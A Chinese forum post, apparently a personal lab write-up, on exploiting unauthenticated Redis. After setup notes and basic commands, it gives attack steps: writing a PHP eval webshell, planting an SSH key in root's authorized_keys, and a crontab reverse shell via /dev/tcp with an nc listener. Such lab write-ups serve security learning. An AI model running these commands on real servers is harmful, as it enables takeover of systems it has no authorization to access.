安全矩阵

 找回密码
 立即注册
搜索
查看: 2373|回复: 0

记一次未授权访问(redis)

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-2-11 10:35:36 | 显示全部楼层 |阅读模式
​原文链接:记一次未授权访问(redis) (qq.com)

了解redis是一个开源的、使用C语言编写的、支持网络交互的、可基于内存也可持久化的Key-Value数据库。
以MemcacheDB、Tokyo Tyrant为代表的key-value分布式存储,在上万并发连接下,轻松地完成高速查询。而MySQL,在几百个并发连接下,就基本上崩溃了。
安装>        wget http://download.redis.io/releases/redis-6.0.8.tar.gz        tar xzf redis-6.0.8.tar.gz        cd redis-6.0.8        make        cd src  切换到src        ./redis-server 启动redis客户端
重换一个终端,
启动 redis 服务器,打开终端并输入命令 redis-cli,该命令会连接本地的 redis 服务。
cd src 切换到src,
./redis-cli 启动交互服务,
执行make命令后,src目录会出现编译后的redis服务程序redis-server和测试的客户端程序redis-cli
启动redis服务。
启动redis进程后,可以使用测试客户端程序 redis-cli 和 redis 服务交互。

安装问题
make不正确(安装redis6.0.8 含make报错)
先确定自己gcc版本,使用
gcc -v
发现默认版本为gcc版本为4.8.5,将gcc版本升级到5.3以上。
升级gcc命令
yum -y install centos-release-scl
yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils
临时修改gcc版本
scl enable devtoolset-9 bash
永久修改gcc版本
echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile

6379: bind: Address already in use(6379是redis默认的端口)ps -ef | grep redis //查看进程        kill -9 3086 //杀死进程        lsof -i:6379 //列出当前系统打开文件的工具。        netstat -lnpt                -l:显示监控中的服务器的Socket                -n:直接使用IP地址,而不通过域名服务器                -p:显示正在使用Socket的程序识别码和程序名称。                -t:显示TCP传输协议的连线状况。
本地访问不了云服务器的6379端口(待学习)
防火墙放行了6379,可还没成功,就不要一直纠结,换个方式,挂着先。
kali访问centos7
kali:unbuntu
centos7:centos
要想访问,首先得设置桥接模式,
其次,把防火墙关了,不同系统命令不同。
unbuntu:
ufw status //查看状态
ufw enable //开启
ufw disable //关闭
centos7:
systemctl stop firewalld.service
这样据可以了,也可以让各自防火墙放行端口。

Xshell不能连接SSH的解决
ens33:192.168.43.112
vibr0:192.168.122.1
centos7
首先去安装ssh:yum install ssh
开机启动
输入 vi /etc/rc.local
添加一个启动项 /etc/init.d/ssh start (有些是让sshd,貌似也可以)
kali
启动ssh服务命令
/etc/init.d/ssh start
查看ssh服务状态
/etc/init.d/ssh status
设置开机自启ssh服务
update-rc.d ssh enable
/var/run/yum.pid 已被锁定rm -f /var/run/yum.pid

学习
命令

远程连接
同网段(实现)
./redis-cli -h 192.168.0.104(含有redis服务的ip地址)
键值
用来管理redis的键。
127.0.0.1:6379>set 键 值127.0.0.1:6379>set runoobkey(任意值都行) a127.0.0.1:6379>del runoobkey
字符串
字符串数据类型管理字符值。
127.0.0.1:6379>set runoobkey(任意值都行) a127.0.0.1:6379>get runoobkeya
哈希值hash 是一个 string 类型的 field(字段) 和 value(值) 的映射表,hash 特别适合用于存储对象。
redis 127.0.0.1:6379> DEL runoobredis 127.0.0.1:6379> HMSET runoob field1 "Hello" field2 "World""OK"redis 127.0.0.1:6379> HGET runoob field1"Hello"redis 127.0.0.1:6379> HGET runoob field2"World"
列表lpush创建列表。
redis 127.0.0.1:6379> DEL runoobredis 127.0.0.1:6379> lpush runoob redis(integer) 1redis 127.0.0.1:6379> lpush runoob mongodb(integer) 2redis 127.0.0.1:6379> lpush runoob rabbitmq(integer) 3redis 127.0.0.1:6379> lrange runoob 0 101) "rabbitmq"2) "mongodb"3) "redis"redis 127.0.0.1:6379>
集合sadd命令创建集合。
redis 127.0.0.1:6379> sadd runoob redis        (integer) 1        redis 127.0.0.1:6379> sadd runoob mongodb        (integer) 1        redis 127.0.0.1:6379> sadd runoob rabbitmq        (integer) 1        redis 127.0.0.1:6379> sadd runoob rabbitmq        (integer) 0        redis 127.0.0.1:6379> smembers runoob

           
  •         "redis"

           
  •         "rabbitmq"

           
  •         "mongodb"

未授权访问漏洞测试攻击者ip:192.168.43.129 操作系统:kali
靶机ip:192.168.43.128 操作系统:centos,靶机开启redis服务器,端口6379
原理:Redis默认使用6379号端口,并且Redis默认是空密码而且默认允许远程连接。一些粗心的网络管理员在安装好Redis后,并没有去修改他的默认端口,而且也没有给他设置密码的话。黑客既可以上传文件访问服务器。

使用redis客户端直接无账号登录redis。


该redis服务对公网开放,未启用认证。
利用redis写webshell
前提
1.redis链接未授权,攻击机上可以用redis-cli连上d;
2.开了web服务器,知道路径(可上传phpinfo,爆破路径),具有文件读写增删改查权限(可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件)。

知道本地目录,可以把shell写入/home/xuujian下。


靶机

当数据库过大,redis写入shell的小技巧。
<?php         set_time_limit(0);        $fp=fopen('bmjoker.php','w');        fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');        exit();?>
利用“公私钥”认证获得root权限(路径问题出问题)
先来了解公私钥


我们需要在kali上创建公钥和私钥

ssh-keygen -t rsa

1.设置的名字
passphrase(设置密码)
2.设置成功生成(1和1.pub),1是私钥,1.pub是公钥
将公钥生成1.txt
(echo -e "\n\n";cat 1.pub;echo -e "\n\n") > 1.txt

3.然后我们将1.txt上传给靶机

首先获取备份路径,先连接靶机server        config get dir   //得到redis备份的路径其次更改redis公钥服务器路径为/root/.ssh        config set dir /root/.ssh 设置上传公钥的备份文件名字为authorized_keys        config set dbfilename authorized_keys更改1.txt文件为authorized_keys        config set dbfilename 保存后连接靶机(暂时没成功)        ssh -i 本机私钥 root@靶机ip

利用crontab反弹shell

权限足够,利用reids写入文件到计划任务目录下执行。
首先进行端口监听。
nc -lvnp 4444        连接redis,写入反弹shellredis-cli -h 192.168.48.128set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"config set dir /var/spool/cronconfig set dbfilename rootsave
好书推荐

AST是目前爬虫领域的热点。本书从AST这一个知识点出发,由浅入深,带领读者掌握反爬虫AST的原理,并帮助读者培养解决实际问题的能力。
本书共11章,分为四部分。第一部分(第1~4章)介绍开发环境的搭建方法、Web调试的必备技巧以及爬虫与反爬虫的基本知识;第二部分(第5~6章)讲解混淆JavaScript代码的手工逆向方法与JavaScript代码安全防护的原理;第三部分(第7~8章)讲解AST的原理与API的使用方法;第四部分(第9~11章)以AST为基础,讲解自动化的JavaScript代码防护与还原方案,并带领读者进行实战训练。
本书适合作为计算机培训的教材,也可供安全开发人员、爬虫初学者以及想要在爬虫领域进阶的人员学习。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-17 16:17 , Processed in 0.020599 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表